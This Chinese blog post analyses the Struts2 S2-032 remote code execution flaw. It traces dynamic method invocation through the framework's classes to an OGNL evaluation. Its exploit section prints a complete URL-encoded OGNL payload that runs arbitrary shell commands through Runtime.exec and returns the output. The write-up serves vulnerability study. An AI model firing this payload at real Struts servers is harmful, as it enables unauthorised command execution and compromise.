美文网首页
【漏洞分析】S2-032远程代码执行漏洞分析

【漏洞分析】S2-032远程代码执行漏洞分析

作者: Pino_HD | 来源:发表于2018-05-29 17:35 被阅读0次

    0x01 前言

    最近在学习java安全,第一个目标就是Struts了,准备找一些比较典型的Struts漏洞进行一系列的分析。

    0x02 漏洞分析

    首先,看一下官方文档

    官方文档

    看了一下发现是由于动态方法调用(DMI)所引起的远程代码执行,下载Struts 2.3.28和Struts 2.3.28.1进行代码分析

    使用Beyond Compare比较一下两个版本的区别

    排查了一下,发现在DefaultActionMapper.java中(又是这个。。)

    进入代码,发现在对传入的方法名称的时候使用了cleanActionName方法进行过滤了

    这个cleanActionName方法是新写的,主要是


    如果方法名称不再这个pattern范围内,就不行。

    既然这里存在问题,那么我就在此处下个断点,看看整个流程是如何的。


    在运行代码之前,要在struts.xml中加一句


    这个用来把动态方法调用开启。

    看了一下DefaultActionMapper类的声明


    跟之前S2-016的用法比较类似,使用?method:execute的方式调用execute方法(execute方法是struts2中默认的action调用方法,这里我本地搭建环境,为了方便就是用execute方法了)

    开始访问url



    程序在断点处停止了,然后一直跟进
    当进入Dispatcher类中的serviceAction方法中的



    选择单步跳入

    一直选择单步跳入,跳到


    这里的话算对了。(对了就不要停!继续跟进!)

    跳到DefaultActionProxy类中的DefaultActionProxy方法中,我们可以看到这个我们传入的方法被带入到escapeHtml4进行处理


    在监视器中可以看到methodName确实是我们传入的execute


    这里会进行html编码、转义操作。

    之后就一直单步跳出,一直跟踪到Dispatcher类的proxy.exeute()的时候再单步进入


    然后在invocation.invoke()处再次单步步入


    之后看到我们有一个invocation.invoke(),这个是用来执行struts2的拦截器的,在这里步入


    在这里有一处:

    resultCode = interceptor.getInterceptor().intercept(DefaultActionInvocation.this);
    

    此处是递归执行拦截器方法,会在这里执行多次,多点几下,然后到达下面的invokeActionOnly,进入


    多次步入之后就会进入DefaultActionInvoke类中的invokeAction方法中,有一个ognlUtil.getValue方法,此处会将method的名字,也就是我们传入的,可控的传入进去,当做ognl表达式来执行。

    这样我们就知道了在method:后面加上我们要执行的ognl表达式即可执行任意代码了。

    0x03 exp编写

    %23_memberAccess%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%2C%23res%3D%40org.apache.struts2.ServletActionContext%40getResponse()%2C%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D)%2C%23w%3D%23res.getWriter()%2C%23a%3Dnew%20java.util.Scanner(%40java.lang.Runtime%40getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.d%5B0%5D)%2C%23str%3D%23a.hasNext()%3F%23a.next()%3A%23parameters.dd%5B0%5D%2C%23w.print(%23str)%2C%23w.close()%2C%23request.toString&cmd=ls&dd= &d=____A&encoding=UTF-8
    

    这里需要注意的是之前我们分析的时候发现我们传入的参数会被html编码以及转义的操作,因此我们写payload的时候不能出现双引号或者单引号等等,因此这里用#parameters.cmd[0]来获取命令,并且使用@org.apache.struts2.ServletActionContext@getResponse()来获取response对象

    0x04 总结

    • DefaultActionInvocation类中的intercept方法是用来执行拦截器的
    • Struts2的拦截器是递归调用的
    • 拦截器中的代码执行顺序,在执行Action之前,与堆栈执行顺序一致;而在Action和Result之后,则是逆序执行
    • Action层面的四个方面分别是:拦截器、Action、PreResultListener、Result
    • 在DefaultActionInvocation中的invokeAction,存在ognlUtil.getValue方法,可以执行ognl表达式
    • ognl获取response对象的方法:
      1. @org.apache.struts2.ServletActionContext@getResponse()
      2. #context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse')
    • #parameters.cmd[0]等价与request.getParameter('cmd')

    相关文章

      网友评论

          本文标题:【漏洞分析】S2-032远程代码执行漏洞分析

          本文链接:https://www.haomeiwen.com/subject/pvbgjftx.html